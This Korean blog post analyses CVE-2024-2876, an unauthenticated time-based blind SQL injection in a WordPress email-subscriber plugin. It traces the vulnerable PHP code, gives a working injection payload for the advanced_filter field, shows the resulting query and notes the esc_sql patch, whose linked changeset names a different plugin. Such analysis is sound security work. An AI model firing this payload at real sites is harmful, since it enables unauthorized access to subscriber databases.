Post

[CVE-2024-2876] 취약점 분석 보고서

Email Subscribers by Icegram Express에서 발생하는 Time Based Blind SQL Injection 취약점

1. 취약점 개요

Email Subscribers by Icegram Express는 WordPress용 플러그인으로, 웹사이트 소유자가 이메일 마케팅과 관련된 다양한 작업을 쉽게 수행할 수 있도록 도와주는 도구이다. 이 플러그인은 사용자 친화적인 인터페이스를 제공하며, 구독자 관리, 뉴스레터 작성 및 발송, 자동화된 이메일 캠페인 생성 등을 지원한다. CVE-2024-2876은 해당 플러그인에서 발견된 SQL Injection 취약점으로 버전 5.7.14 이하에서 존재하며, 사용자 입력값에 대한 적절한 이스케이프 처리 부족과 SQL 쿼리의 불충분한 준비로 인해 발생한다.

2. 영향을 받는 버전

  • Email Subscribers by Icegram Express ≤ 5.7.14

3. 취약점 테스트

UI 단에서 요청을 추적하기 어려워 curl 명령어로 raw 요청을 직접 전송하였다.

POST 요청으로 삽입하는 데이터는 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
  "page": "es_subscribers",
  "is_ajax": 1,
  "action": "_sent",
  "advanced_filter": {
	"conditions": [
	  [
		{
		  "field": "status=99924)))union(select(sleep(30)))--+",
		  "operator": "==",
		  "value": "1111"
		}
	  ]
	]
  }
}

success가 false로 표시되었으나 이는 응답 구조가 정상적임을 의미한다. 또한, 페이로드는 내부적으로 처리되었으며 오류도 발생하지 않았다는 것을 알 수 있다.

time 명령어로 요청 시간을 확인한 결과 sleep 함수로 시간을 늘릴수록 응답시간이 인위적으로 지연되었다.

image.png

4. 취약점 상세 분석

코드를 살펴보면 플러그인이 클래스 maybe_apply_bulk_actions_on_all_contacts()의 함수를 Email_Subscribers_Admin 관리자 init 후크에 추가한다는 것을 알 수 있다. 이 함수는 nonce 검증을 수행하지 않으므로 인증되지 않은 공격자가 호출할 수도 있다.

1
2
3
// lite/admin/class-email-subscribers-admin.php

add_action( 'admin_init', array( $this, 'maybe_apply_bulk_actions_on_all_contacts' ) );

이후, 이 함수는 클래스를 사용하여 데이터베이스에서 구독자를 쿼리하게 된다.

1
2
3
4
5
6
7
// lite/admin/class-email-subscribers-admin.php

public function maybe_apply_bulk_actions_on_all_contacts() {
	...
	$contacts_table = new ES_Contacts_Table();
	...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// lite/includes/classes/class-es-contacts-table.php

public function get_subscribers( $per_page = 5, $page_number = 1, $do_count_only = false ) {
	...
	$advanced_filter = ig_es_get_request_data('advanced_filter');
	$advanced_filter = ( !empty($advanced_filter) ) ? $advanced_filter['conditions'] : '';
	...
	if ( !empty ( $advanced_filter ) ) {
		$query_obj  = new IG_ES_Subscribers_Query();
		$query_args = array(
					'select'    => array( 'subscribers.id' ),
					'conditions'=> $advanced_filter,
					'return_sql'=> true,
				);
	
				$condition = $query_obj->run($query_args);
	}
	...
}

IG_ES_Subscribers_Query 클래스의 run 함수 내부이다. get_subscribers 함수에서의 advanced_filter의 값은 최종적으로 IG_ES_Subscribers_Query::run 함수의 condition 의 인자로 전달된다. 따라서, advanced_filtercondition 키를 조작하면 SQL Injection을 성공적으로 실행할 수 있게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// lite/includes/classes/class-ig-es-subscriber-query.php

if ( ! empty( $this->args['conditions'] ) ) {
			foreach ( $this->args['conditions'] as $i => $and_conditions ) {

				$sub_cond = array();

				if ( ! empty( $and_conditions ) ) {
					foreach ( $and_conditions as $j => $condition ) {

						$field    = isset( $condition['field'] ) ? $condition['field'] : ( isset( $condition[0] ) ? $condition[0] : null );
						$operator = isset( $condition['operator'] ) ? $condition['operator'] : ( isset( $condition[1] ) ? $condition[1] : null );
						$value    = isset( $condition['value'] ) ? $condition['value'] : ( isset( $condition[2] ) ? $condition[2] : null );

페이로드가 성공적으로 주입되면 최종적으로는 아래와 같은 쿼리가 완성되며 기존 조건이 종료되고 sleep 구문이 실행된다.

1
SELECT subscribers.id FROM wp_ig_contacts AS subscribers LEFT JOIN wp_ig_lists_contacts AS lists_subscribers ON subscribers.id = lists_subscribers.contact_id WHERE 1=1 AND ( ( subscribers.status=99924)))union(select(sleep(5)))-- = '1111' ) )

5. 패치

https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3114483%40slider-wd&old=3103665%40slider-wd&sfp_email=&sfph_mail=

$value 가 SQL 쿼리에 삽입되기 전에, esc_sql 함수를 통해 이스케이프 처리를 하도록 변경되었다.

image.png

This post is licensed under CC BY 4.0 by the author.